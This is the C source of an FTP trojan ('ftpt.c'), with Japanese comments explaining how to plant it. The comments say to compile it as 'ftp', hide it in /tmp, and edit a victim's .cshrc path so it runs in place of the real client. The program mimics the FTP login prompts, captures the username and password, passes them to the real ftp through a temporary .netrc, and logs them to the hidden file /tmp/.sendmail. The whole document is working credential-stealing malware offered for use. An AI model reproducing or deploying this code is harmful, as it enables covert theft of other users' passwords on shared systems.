/*------------------------------------------------------------ FTPトロイ - ftpt Ver 1.00 Programmed by UNYUN [コンパイル法] 普通は、cc ftpt.c でOKですが、リンクエラーが出たら cc ftpt.c -lnsl でやってください。 [動作確認] SunOS4 Solaris 2.4,2.5,2.6 IRIX5.3,6.2,6.3 Digital (ただし.cshrcのpathの指定法が異なります) [インストール方法] <準備> #define LOGFILE #define NETRC を仕込む環境に応じて設定してください <仕込> %which ftp /usr/bin/ftp <--- 本物のftpが表示される。このpathをFTPCMDに指定する %cc ftpt.c -o ftp <--- ftpトロイをコンパイル %mv ftp /tmp/temp/ <--- バレにくい所にコピー %cd ~ <--- 仕込むuserのhomeディレクトリ %vi .cshrc .chsrcはshellの環境設定です。pathを指定して通常のftpよりftpトロイ を優先させます。.cshrcファイルで、 set path=があれば、 set path=(. /tmp/temp /usr/bin ・・・後省略 のようにしておきます。 set pathが無い場合は、 set path=(. /tmp/temp) という行を入れましょう。 ------------------------------------------------------------ */ #include #include #include #include #include #include #include #include #include #include /* Logfileです。見つかりにくい名前に変更しましょう */ #define LOGFILE "/tmp/.sendmail" /* ユーザーのホームディレクトリの下に.netrcを指定します %cd ~ <---- ホームディレクトリの表示方法 /home/hoge この文字列に/.netrcを引っ付けて NETRCに指定してしてください */ #define NETRC "/home/hoge/.netrc" /* 本物のftpを絶対pathで指定します */ #define FTPCMD "/usr/bin/ftp" #define NETRCBAK "/tmp/netrcbak" #define TIMEOUT_V 5 /* Connectionタイムアウト値 */ #define MAX_IPLEN 16 /* IPアドレスの最大文字数 */ #define MAX_USERNAME 200 /* User名最大数 */ #define MAX_PASSWORD 200 /* Password名最大数 */ int sock; /* 接続用ソケット */ main(argc,argv) int argc; char *argv[]; { char *x; char buf[200]; char user[MAX_USERNAME]; char pass[MAX_PASSWORD]; struct hostent *h; FILE *fp; void movefile(); if (argc==1){ system(FTPCMD); exit(1); } if ((h=gethostbyname(argv[1]))==NULL){ printf("%s: unknown host\n",argv[1]); system(FTPCMD); exit(1); } printf("Connected to %s\n",h->h_name); printf("220 %s FTP server ready.\n",h->h_name); printf("Name (%s:%s): ",h->h_name,getlogin()); gets(user); if (strlen(user)==0) strcpy(user,getlogin()); printf("331 Password required for %s\n",user); x=getpass("Password:"); if (strlen(x)!=0) strcpy(pass,x); else strcpy(pass,"no_pass"); movefile(NETRC,NETRCBAK); if ((fp=fopen(NETRC,"w"))!=NULL){ fprintf(fp,"machine %s\n",h->h_name); fprintf(fp,"login %s\n",user); fprintf(fp,"password %s\n",pass); fclose(fp); sprintf(buf,"chmod go-rwx %s",NETRC); system(buf); } sprintf(buf,"%s %s",FTPCMD,h->h_name); system(buf); movefile(NETRCBAK,NETRC); sprintf(buf,"chmod go-rwx %s",NETRC); system(buf); if ((fp=fopen(LOGFILE,"a"))!=NULL){ fprintf(fp,"host=%s user=%s pass=%s\n",h->h_name,user,pass); fclose(fp); } } void movefile(f1,f2) char *f1,*f2; { FILE *fp1,*fp2; if ((fp1=fopen(f1,"rb"))==NULL) return; if ((fp2=fopen(f2,"wb"))==NULL){ fclose(fp1); return; } for(;;){ if (feof(fp1)) break; putc(getc(fp1),fp2); } fclose(fp1); fclose(fp2); remove(f1); } ftpt.c